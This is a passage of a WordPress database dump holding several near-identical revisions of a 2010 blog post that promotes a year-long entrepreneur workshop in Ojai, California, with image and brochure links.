so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n<h2><a href="http://www.whcquantumleap.com/register.html" target="_blank"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></a></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-42', '', '', '2010-11-19 16:38:25', '2010-11-19 23:38:25', '', 1115, 'http://www.whitehotcenter.com/2010/11/19/1115-revision-42/', 0, 'revision', '', 0),
(1116, 2, '2010-10-07 16:21:19', '2010-10-07 23:21:19', '', 'WHC-Quantum-banner', 0, '', 'inherit', 'open', 'open', '', 'whc-quantum-banner-2', '', '', '2010-10-07 16:21:19', '2010-10-07 23:21:19', '', 1115, 'http://www.whitehotcenter.com/wp-content/uploads/2010/10/WHC-Quantum-banner.gif', 0, 'attachment', 'image/gif', 0),
(1132, 2, '2010-10-07 16:54:07', '2010-10-07 23:54:07', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\n<h1>Now you can!</h1>\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\n\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\n\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\n<strong>Workshop Venue and Format</strong>\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\n\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\n\n<strong>Early Registration</strong>\nThe conference web site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, j send me an email. I’ll be happy to answer any questions you might have.\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-13', '', '', '2010-10-07 16:54:07', '2010-10-07 23:54:07', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-13/', 0, 'revision', '', 0),
(1117, 2, '2010-10-07 16:28:38', '2010-10-07 23:28:38', 'Meditation Mount Conference Center Ojai, California', 'meditation.a', 0, '', 'inherit', 'open', 'open', '', 'meditation-a-2', '', '', '2010-10-07 16:28:38', '2010-10-07 23:28:38', '', 1115, 'http://www.whitehotcenter.com/wp-content/uploads/2010/10/meditation.a.gif', 0, 'attachment', 'image/gif', 0),
(1118, 2, '2010-10-07 16:29:40', '2010-10-07 23:29:40', 'Meditation Mount Conference Interior', 'meditation.b', 0, '', 'inherit', 'open', 'open', '', 'meditation-b', '', '', '2010-10-07 16:29:40', '2010-10-07 23:29:40', '', 1115, 'http://www.whitehotcenter.com/wp-content/uploads/2010/10/meditation.b.gif', 0, 'attachment', 'image/gif', 0),
(1119, 2, '2010-10-07 16:31:12', '2010-10-07 23:31:12', 'Meditation Mount Grounds', 'meditation.c', 0, '', 'inherit', 'open', 'open', '', 'meditation-c', '', '', '2010-10-07 16:31:12', '2010-10-07 23:31:12', '', 1115, 'http://www.whitehotcenter.com/wp-content/uploads/2010/10/meditation.c.gif', 0, 'attachment', 'image/gif', 0),
(1120, 2, '2010-10-07 16:33:34', '2010-10-07 23:33:34', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\n<h1>Now you can!</h1>\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\n\nIn March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. I hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\n\n<strong>Entrepreneurs are remarkable people!</strong>\nBy every measure, as an entrepreneur, you are a remarkable person. You (and the millions like you) are the real creative force driving our global economy. As role models for self-reliance, innovation and freedom, you are the cutting edge of humanity. Through the venue of your business, you add to the life of the world.  Of course I don’t have to tell you the entrepreneurial journey is not for the faint of heart. Yet for those of us you have chosen this life-path, we could not imagine our life expressed in any other way.\n\nEntrepreneurs take what is useful from their past experience, innovate new value for people in the present, and have highly developed habits to see opportunity in the future others seemingly miss, or are simply unable to take advantage of. Entrepreneurs are naturally inclined to escape from restricted bureaucratic structures and create their own vision for an abundant and fulfilling future.\n\nYet, even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.  If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement. Take the leap–you’ll be so glad you did!\n<h2><span style="color: #808080;">The Quantum Leap Workshop is a year-long personal and business development program designed for forward-thinking entrepreneurs who want more ideas, clarity, confidence, and velocity to realize their bold vision for a bigger future–and experience more money, freedom, fulfillment, and joy in every area of their life!</span></h2>\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\n\n<span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span>\n\n<span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span>\n\n<strong>Workshop Venue and Format</strong>\n\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\n\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\n\n<strong>Workshop Facilitators</strong>\n\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\n\n<strong>Early Registration</strong>\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\n<h2>I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision', '', '', '2010-10-07 16:33:34', '2010-10-07 23:33:34', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision/', 0, 'revision', '', 0),
(1125, 2, '2010-10-07 16:41:27', '2010-10-07 23:41:27', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n\r\nIn March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. I hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.  If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n<h2><span style="color: #808080;">The Quantum Leap Workshop is a year-long personal and business development program designed for forward-thinking entrepreneurs who want more ideas, clarity, confidence, and velocity to realize their bold vision for a bigger future–and experience more money, freedom, fulfillment, and joy in every area of their life!</span></h2>\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n\r\n<span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span>\r\n\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-6', '', '', '2010-10-07 16:41:27', '2010-10-07 23:41:27', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-6/', 0, 'revision', '', 0),
(1121, 2, '2010-10-07 16:34:33', '2010-10-07 23:34:33', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n\r\nIn March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. I hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<strong>Entrepreneurs are remarkable people!</strong>\r\nBy every measure, as an entrepreneur, you are a remarkable person. You (and the millions like you) are the real creative force driving our global economy. As role models for self-reliance, innovation and freedom, you are the cutting edge of humanity. Through the venue of your business, you add to the life of the world.  Of course I don’t have to tell you the entrepreneurial journey is not for the faint of heart. Yet for those of us you have chosen this life-path, we could not imagine our life expressed in any other way.\r\n\r\nEntrepreneurs take what is useful from their past experience, innovate new value for people in the present, and have highly developed habits to see opportunity in the future others seemingly miss, or are simply unable to take advantage of. Entrepreneurs are naturally inclined to escape from restricted bureaucratic structures and create their own vision for an abundant and fulfilling future.\r\n\r\nYet, even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.  If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement. Take the leap–you’ll be so glad you did!\r\n<h2><span style="color: #808080;">The Quantum Leap Workshop is a year-long personal and business development program designed for forward-thinking entrepreneurs who want more ideas, clarity, confidence, and velocity to realize their bold vision for a bigger future–and experience more money, freedom, fulfillment, and joy in every area of their life!</span></h2>\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n\r\n<span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span>\r\n\r\n<strong>Workshop Venue and Format</strong>\r\n\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\n\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-2', '', '', '2010-10-07 16:34:33', '2010-10-07 23:34:33', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-2/', 0, 'revision', '', 0);
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(1122, 2, '2010-10-07 16:34:45', '2010-10-07 23:34:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n\r\nIn March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. I hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<strong>Entrepreneurs are remarkable people!</strong>\r\nBy every measure, as an entrepreneur, you are a remarkable person. You (and the millions like you) are the real creative force driving our global economy. As role models for self-reliance, innovation and freedom, you are the cutting edge of humanity. Through the venue of your business, you add to the life of the world.  Of course I don’t have to tell you the entrepreneurial journey is not for the faint of heart. Yet for those of us you have chosen this life-path, we could not imagine our life expressed in any other way.\r\n\r\nEntrepreneurs take what is useful from their past experience, innovate new value for people in the present, and have highly developed habits to see opportunity in the future others seemingly miss, or are simply unable to take advantage of. Entrepreneurs are naturally inclined to escape from restricted bureaucratic structures and create their own vision for an abundant and fulfilling future.\r\n\r\nYet, even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.  If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement. Take the leap–you’ll be so glad you did!\r\n<h2><span style="color: #808080;">The Quantum Leap Workshop is a year-long personal and business development program designed for forward-thinking entrepreneurs who want more ideas, clarity, confidence, and velocity to realize their bold vision for a bigger future–and experience more money, freedom, fulfillment, and joy in every area of their life!</span></h2>\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n\r\n<span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span>\r\n\r\n<strong>Workshop Venue and Format</strong>\r\n\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\n\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-3', '', '', '2010-10-07 16:34:45', '2010-10-07 23:34:45', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-3/', 0, 'revision', '', 0),
(1123, 2, '2010-10-07 16:37:24', '2010-10-07 23:37:24', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n\r\nIn March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. I hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<strong>Entrepreneurs are remarkable people!</strong>\r\nBy every measure, as an entrepreneur, you are a remarkable person. You (and the millions like you) are the real creative force driving our global economy. As role models for self-reliance, innovation and freedom, you are the cutting edge of humanity. Through the venue of your business, you add to the life of the world.  Of course I don’t have to tell you the entrepreneurial journey is not for the faint of heart. Yet for those of us you have chosen this life-path, we could not imagine our life expressed in any other way.\r\n\r\nEntrepreneurs take what is useful from their past experience, innovate new value for people in the present, and have highly developed habits to see opportunity in the future others seemingly miss, or are simply unable to take advantage of. Entrepreneurs are naturally inclined to escape from restricted bureaucratic structures and create their own vision for an abundant and fulfilling future.\r\n\r\nYet, even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.  If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n<h2><span style="color: #808080;">The Quantum Leap Workshop is a year-long personal and business development program designed for forward-thinking entrepreneurs who want more ideas, clarity, confidence, and velocity to realize their bold vision for a bigger future–and experience more money, freedom, fulfillment, and joy in every 